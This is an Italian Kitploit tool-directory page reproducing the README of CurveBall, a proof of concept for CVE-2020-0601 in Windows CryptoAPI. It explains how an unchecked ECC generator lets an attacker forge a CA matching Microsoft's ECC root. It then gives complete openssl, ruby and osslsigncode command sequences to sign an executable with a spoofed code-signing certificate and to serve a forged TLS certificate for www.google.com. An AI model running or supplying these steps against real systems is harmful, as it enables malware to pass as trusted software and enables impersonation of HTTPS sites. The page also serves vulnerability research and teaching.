Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CurveBall — PoC per CVE-2020-0601- Windows CryptoAPI (Crypt32.dll) | Kitploit
Strumenti/GitHubGitHub/ly4k/curveball
Analisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza WebCrittografiaApprendimento e Formazione
GitHubly4k/curveball

CurveBall

PoC per CVE-2020-0601- Windows CryptoAPI (Crypt32.dll)

Vedi Repository
8892566 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CurveBall (CVE-2020-0601) - PoC

CVE-2020-0601, o comunemente chiamata CurveBall, è una vulnerabilità in cui la firma dei certificati che utilizzano la crittografia a curva ellittica (ECC) non viene verificata correttamente.

ECC si basa su diversi parametri. Questi parametri sono standardizzati per molte curve. Tuttavia, Microsoft non ha controllato tutti questi parametri. Il parametro G (il generatore) non veniva controllato e quindi l'attaccante può fornire il proprio generatore, cosicché quando Microsoft tenta di validare il certificato contro una CA fidata, cerca solo chiavi pubbliche corrispondenti e poi usa il generatore del certificato. La NSA spiega l'impatto di questa vulnerabilità e altro qui.

MicrosoftECCProductRootCertificateAuthority.cer è per impostazione predefinita un'autorità di certificazione radice (CA) fidata che utilizza ECC su Windows 10. Qualsiasi cosa firmata con questo certificato sarà quindi automaticamente considerata fidata.

Requisiti minimi openssl 1.1.0 ruby 2.4.0

Dettagli matematici

Se sei interessato ai dettagli matematici della vulnerabilità, leggi di più qui.

Per falsificare il certificato, impostiamo i seguenti parametri:

root@kitploit:~
d' = 1
G' = Q

In modo che Q = Q' = d'G'.

Utilizzo

Crea un certificato con la stessa chiave pubblica e gli stessi parametri di una CA fidata. Questo verrà usato come nostra CA contraffatta. Imposta il generatore su un valore di cui conosci la chiave privata. Puoi facilmente impostare il generatore sulla chiave pubblica e avere una chiave privata impostata a 1, poiché Q = dG.

Successivamente, crei una richiesta di firma del certificato (CSR) con le estensioni che desideri utilizzare, ad esempio firma del codice o autenticazione del server.

Firma questa richiesta di certificato con la tua CA contraffatta e la chiave della CA, quindi aggiungi le estensioni di utilizzo.

Includi la richiesta di certificato firmata (ora un certificato normale) insieme alla CA contraffatta e ottieni un certificato firmato e considerato fidato.

Quando Windows verifica se il certificato è attendibile, vedrà che è stato firmato dalla nostra CA contraffatta. Poi guarda la chiave pubblica della CA contraffatta per confrontarla con le CA fidate. Quindi verifica semplicemente la firma della nostra CA contraffatta usando il generatore della CA contraffatta - questo è il problema.

Se scegli di aprire il tuo certificato appena firmato e considerato attendibile in Windows, non lo riconoscerà come attendibile, poiché non è stato associato a nulla, quindi non userà la CA contraffatta. Il certificato deve sempre presentarsi insieme alla CA contraffatta.

Firma del codice

Si prega di utilizzarlo solo per scopi educativi e di ricerca.

Estrai la chiave pubblica dalla CA e modificala secondo la vulnerabilità:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Genera un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA contraffatta.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Genera una nuova chiave. Questa chiave può essere di qualsiasi tipo desideri. Verrà utilizzata per creare un certificato di firma del codice, che firmeremo con la nostra CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Successivamente, crea una nuova richiesta di firma del certificato (CSR). Questa richiesta viene solitamente inviata a CA fidate, ma poiché ne abbiamo una contraffatta, possiamo firmarla noi stessi.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs

Firma la tua nuova CSR con la nostra CA contraffatta e la chiave della CA. Questo certificato scadrà nel 2047, mentre la vera CA Microsoft fidata scadrà nel 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs

Non resta che impacchettare il certificato, la sua chiave e la CA contraffatta in un file PKCS12 per firmare eseguibili.

root@kitploit:~
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12

Firma il tuo eseguibile con il file PKCS12.

root@kitploit:~
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe

SSL/TLS

Si prega di utilizzarlo solo per scopi educativi e di ricerca.

Estrai la chiave pubblica dalla CA e modificala secondo la vulnerabilità:

root@kitploit:~
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer

Genera un nuovo certificato x509 basato su questa chiave. Questa sarà la nostra CA contraffatta.

root@kitploit:~
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt

Genera una nuova chiave. Questa chiave può essere di qualsiasi tipo desideri. Verrà utilizzata per creare un certificato SSL, che firmeremo con la nostra CA.

root@kitploit:~
openssl ecparam -name secp384r1 -genkey -noout -out cert.key

Successivamente, crea una nuova richiesta di firma del certificato (CSR). Questa richiesta viene solitamente inviata a CA fidate, ma poiché ne abbiamo una contraffatta, possiamo firmarla noi stessi.

Se desideri cambiare il nome di dominio, modifica CN = www.google.com in CN = www.example.com all'interno di openssl_tls.conf.

root@kitploit:~
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls

Firma la tua nuova CSR con la nostra CA contraffatta e la chiave della CA. Questo certificato scadrà nel 2047, mentre la vera CA Microsoft fidata scadrà nel 2043.

root@kitploit:~
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls

Ora puoi usare cert.crt, cert.key e spoofed_ca.crt per servire i tuoi contenuti. Ricorda ancora di aggiungere spoofed_ca.crt come catena di certificati nella configurazione HTTPS del tuo server.

Vedi l'esempio di utilizzo in tls/index.js.

Scarica lo strumento